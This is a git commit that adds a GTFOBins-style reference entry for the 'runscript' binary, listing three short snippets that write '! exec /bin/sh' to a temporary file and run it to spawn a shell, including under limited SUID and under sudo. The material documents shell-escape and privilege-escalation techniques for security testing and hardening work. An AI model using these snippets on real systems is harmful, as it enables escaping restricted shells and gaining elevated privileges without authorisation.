Add runscript

This commit is contained in:
Andrea Cardaci 2023-10-21 13:36:32 +02:00
parent 72cb09f404
commit cbab01b495

18
_gtfobins/runscript.md Normal file
View File

@ -0,0 +1,18 @@
---
functions:
shell:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
runscript $TF
limited-suid:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
./runscript $TF
sudo:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
sudo runscript $TF
---